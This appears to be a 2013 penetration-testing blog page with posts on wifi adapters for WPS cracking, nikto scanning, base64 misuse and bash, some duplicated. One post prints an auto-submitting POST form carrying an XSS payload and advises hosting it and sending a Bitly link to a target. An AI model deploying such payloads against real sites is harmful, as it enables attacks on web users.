I've spent a couple days researching what is the best USB wifi adapter to use in wireless penetration tests/site surveys.
If you are only concerned about the 2.4ghz spectrum than the widely suggested ALFA AWUS036H is still the best and works flawlessly out of the box.
The problem arises when you are trying to encompass both 2.4 and 5ghz ranges. I'll save you the rant about my search for the right device and i'll just give it to you here:
The only Dual Band (2.4/5ghz) USB adapter that works out of the box with everything including WPS cracking (reaver) that you can currently buy is the Ubiquiti SR71 USB Adapter. It comes up as the carl9170 driver in BT5r3.
http://www.amazon.com/Ubiquiti-Networks-SR71-USB-WLAN-802-11a/dp/B004EFND3I/ref=sr_1_1?ie=UTF8&qid=1361984587&sr=8-1&keywords=sr71+usb
Hopefully this saves you the days it took me to figure out which one is the best.
NOTE:
After some extensive testing i've noticed that it sometimes has a problem with WPS cracking and can be a bit finicky with the drivers. The ALFA AWUS036H still works flawlessly. I'm going to be testing more and more devices and will report when i have something.
Wednesday, February 27, 2013
Monday, February 11, 2013
Exploiting POST Based XSS
Found this on the web somewhere and wanted to post it here to have a place to reference it. place the actual XSS in the "abcd" section and place it on a webserver somwhere. Bitly link the exploit code to your target and have it execute.
<body onload=”xss();”> <form method=post name=f action=”http://www.example.com/whatever.php”> <input name=”abcd” value=”<SCRIPT>alert(’XSS’)</SCRIPT>”> <input type=”submit” class=”button” name=”s”> </form> <script> function xss() { document.f.s.click(); } </script> </body>
Tuesday, February 5, 2013
Using Nmap Output in Nikto
Nikto can read/parse nmap output to supply a list of hosts and ports to scan:
nikto -h nmap_scan.gnmap
This will make nikto read the gnmap file, pull out the hostnames and port numbers and start scanning. It really handy versus manually grepping out entries to scan.
nikto -h nmap_scan.gnmap
This will make nikto read the gnmap file, pull out the hostnames and port numbers and start scanning. It really handy versus manually grepping out entries to scan.
Monday, February 4, 2013
Base64 Encoding and the Stupid Things Developers Do
Base64 encoding is everywhere. It the #1 data encoding type used on the internet. Even though it technically increases the size of the data by 33% its still used in spaces where speed is of the utmost importance.
Why?
Mainly because of two reasons. Its ubiquitous and it was meant to be used to transmit non ascii data in ascii only systems. Base64 was originally designed as a method to transmit binary information through plaintext channels such as attachments on emails. Email is still plaintext, so anything thats not plaintext needs to be represented differently or else the email servers/clients would barf upon reading it.
Where the Problem Lay:
The problem is when developers dont truly understand the concepts of encoding and mentally group it into the same category as encryption. ENCODING IS NOT ENCRYPTION and dont let anyone tell you otherwise. Changing the location of the secret base from english to spanish does not protect the location from the enemy. It's especially annoying when someone tries to back up the argument of encoding as encryption by saying something like "well if they dont speak spanish then its just as good". No, its not. Because that not security, thats obfuscation All i have to do is find someone who speaks spanish and the game is over. I used to think that if you used a encoding type nobody has ever seen before than maybe thats moving into the security category, but unfortunately its not. This is because that requires a massive underestimation of the ability of people to obsess over puzzles. Just dont do it, its really not that hard...
So, if you have sensitive information (passwords, credit cards, SSNs, keys, etc) and you only base64 encode them, then you are sending them cleartext. Every developer should consider base64 encoding as the equivalent security as plaintext, because in the end, it is.
Why?
Mainly because of two reasons. Its ubiquitous and it was meant to be used to transmit non ascii data in ascii only systems. Base64 was originally designed as a method to transmit binary information through plaintext channels such as attachments on emails. Email is still plaintext, so anything thats not plaintext needs to be represented differently or else the email servers/clients would barf upon reading it.
Where the Problem Lay:
The problem is when developers dont truly understand the concepts of encoding and mentally group it into the same category as encryption. ENCODING IS NOT ENCRYPTION and dont let anyone tell you otherwise. Changing the location of the secret base from english to spanish does not protect the location from the enemy. It's especially annoying when someone tries to back up the argument of encoding as encryption by saying something like "well if they dont speak spanish then its just as good". No, its not. Because that not security, thats obfuscation All i have to do is find someone who speaks spanish and the game is over. I used to think that if you used a encoding type nobody has ever seen before than maybe thats moving into the security category, but unfortunately its not. This is because that requires a massive underestimation of the ability of people to obsess over puzzles. Just dont do it, its really not that hard...
So, if you have sensitive information (passwords, credit cards, SSNs, keys, etc) and you only base64 encode them, then you are sending them cleartext. Every developer should consider base64 encoding as the equivalent security as plaintext, because in the end, it is.
Bash Caveat - It's all just text
This is an important thing to consider when writing Bash scripts. In my experience its not necessarily the little command tricks that you know that make you a better coder, it’s the underlying understanding of how things work.
You’re dealing with Text
Mentally keeping track of the contents of variables, or whats being passed in a pipe is actually rather simple in Bash. Everything is a string. There is no fancy Object oriented concepts that you have to consider when dealing with data. It’s all just text. Take the following for example:
Cat file | cut –f1 | sort –u | wc –l
While the above follows under the category of “useless use of cat” it’s done to illustrate a point. You are taking the text output of a command and passing it as the text input of another command. THAT’S IT. The “target” program that you pass the data to has its own rules on how to deal with the text. In the above case what is happening is cat is opening the file, outputting the contents of the file as the input for the cut command, which reads in the text, and (due to –f1) outputs the first tab delimited field as output. This output text is being passed directly to the sort command which will alphabetically sort the list and eliminate the duplicates (-u). Sort then outputs this text, and the pipe (again) takes the output and sends it to wc which will count how many lines (-l) and output the result.
The only thing programs like this are designed to do is mangle/modify/analyze text in some way.
The nice thing about only dealing with text is that you can see its state/contents at any point, simply by outputting it to the screen.
I believe that keeping in mind you are only dealing with strings of text is one of the most important considerations to remember when writing bash scripts.
The other good thing about the "everything is a string" philosophy is that you can tell which programs where built for scripting and which were mainly built for human consumption. The main question you have to ask is: How much parsing of text do i have to do to get some simple data out? If the answer is "a lot", then you may want to search for another tool/program that is more API-esque focused.
Subscribe to:
Posts (Atom)